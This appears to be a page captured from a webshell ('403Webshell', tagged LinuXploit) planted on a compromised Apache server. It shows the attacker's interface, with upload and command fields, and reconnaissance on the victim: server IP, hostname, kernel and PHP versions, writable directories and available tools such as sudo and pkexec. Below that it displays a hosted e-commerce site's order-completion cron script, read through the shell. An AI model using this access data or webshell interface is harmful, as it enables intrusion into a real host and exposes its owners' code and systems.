403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/littleark/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/littleark/webadmin/_cron_job.php
<?php
	//this is a cron job function list
	require_once 'configure.php';

	set_time_limit(5 * 60);

	//auto complete customer order and order item status from SHIPPED to COMPLETED

	$today = new DateTime();

	$check_shipped_date = $today->modify('-' . $master_settings["MAXIMUM_IDLE_DAY_FROM_SHIPPED_TO_COMPLETED"] . ' day');

	//filter 1
	$order_item_info = OrderItem::whereDeleted(0)->whereRaw("status = ? and temp = ? and shipped_date <= ?", array("SHIPPED", 0, $check_shipped_date))->get();
	//debug_log(111, $order_item_info);

	if (!empty($order_item_info)) {
		foreach ($order_item_info as $row) {
			$supplier_info                                   = get_supplier($row["supplier_id"], "ACTIVE");
			$supplier_max_idle_day_from_shipped_to_completed = $supplier_info["max_idle_day_from_shipped_to_completed"];
			if (empty($supplier_max_idle_day_from_shipped_to_completed) || $supplier_max_idle_day_from_shipped_to_completed < $master_settings["MAXIMUM_IDLE_DAY_FROM_SHIPPED_TO_COMPLETED"])
				$supplier_max_idle_day_from_shipped_to_completed = $master_settings["MAXIMUM_IDLE_DAY_FROM_SHIPPED_TO_COMPLETED"];

			$start_date  = new DateTime();
			$since_start = $start_date->diff(new DateTime($row["shipped_date"]));

			if ($since_start->days >= $supplier_max_idle_day_from_shipped_to_completed) {
				//auto complete this item
				$order_item_id = $row["id"];
				$customer_id   = $row["customer_id"];
				$order_id      = $row["order_id"];
				//copy from order item completed
				$sql        = "update order_item set `status` = ? where id = ? and customer_id = ?";
				$parameters = array("COMPLETED", $order_item_id, $customer_id);
				bind_pdo($sql, $parameters);

				$order_item_info = get_order_item($customer_id, null, 0, $order_id, $order_item_id);
				$order_item_info = $order_item_info[0];

				//give points (base on order item discounted price) to customer account
				$sql        = "insert into customer_point (customer_id, points, status, table_name, table_refid, createdate) values (?,?,?,?,?,?)";
				$parameters = array($customer_id, floor($order_item_info["discounted_price"]), "APPROVED", "order_item", $order_item_id, date("Y-m-d H:i:s"));
				bind_pdo($sql, $parameters);

				$sql        = "update customer set points=points+? where id = ?";
				$parameters = array(floor($order_item_info["discounted_price"]), $customer_id);
				bind_pdo($sql, $parameters);

				//update supplier order
				//get order supplier list
				$order_supplier_list = get_order_supplier_list(0, $order_id);
				foreach ($order_supplier_list as $supplier_id) {
					$sql        = "select count(*) as order_item_num from order_item order_item where order_id = ? and temp = ? and deleted = ? and supplier_id = ?
			UNION ALL
			select count(*) as order_item_num from order_item order_item where order_id = ? and temp = ? and deleted = ? and `status` = ? and supplier_id = ?";
					$parameters = array($order_id, 0, 0, $supplier_id, $order_id, 0, 0, "COMPLETED", $supplier_id);
					$result     = bind_pdo($sql, $parameters, "selectall");

					//if all receive product number equal to supplier order product number
					if ($result[0]["order_item_num"] == $result[1]["order_item_num"]) {
						//update order status
						$sql        = "update `supplier_order` set `status` = ? where order_id = ? and supplier_id = ? and temp = ? and deleted = ?";
						$parameters = array("COMPLETED", $order_id, $supplier_id, 0, 0);
						bind_pdo($sql, $parameters);
					}
				}

				//update order
				$sql        = "select count(*) as supplier_order_num from supplier_order where order_id = ? and temp = ? and deleted = ?
			UNION ALL
			select count(*) as supplier_order_num from supplier_order where order_id = ? and temp = ? and deleted = ? and status = ?";
				$parameters = array($order_id, 0, 0, $order_id, 0, 0, "COMPLETED");
				$result     = bind_pdo($sql, $parameters, "selectall");

				//if all receive product number equal to supplier order product number
				if ($result[0]["supplier_order_num"] == $result[1]["supplier_order_num"]) {
					//update order status
					$sql        = "update `order` set `status` = ? where id = ? and temp = ? and deleted = ?";
					$parameters = array("COMPLETED", $order_id, 0, 0);
					bind_pdo($sql, $parameters);
				}
			}
		}
	}




Youez - 2016 - github.com/yon3zu
LinuXploit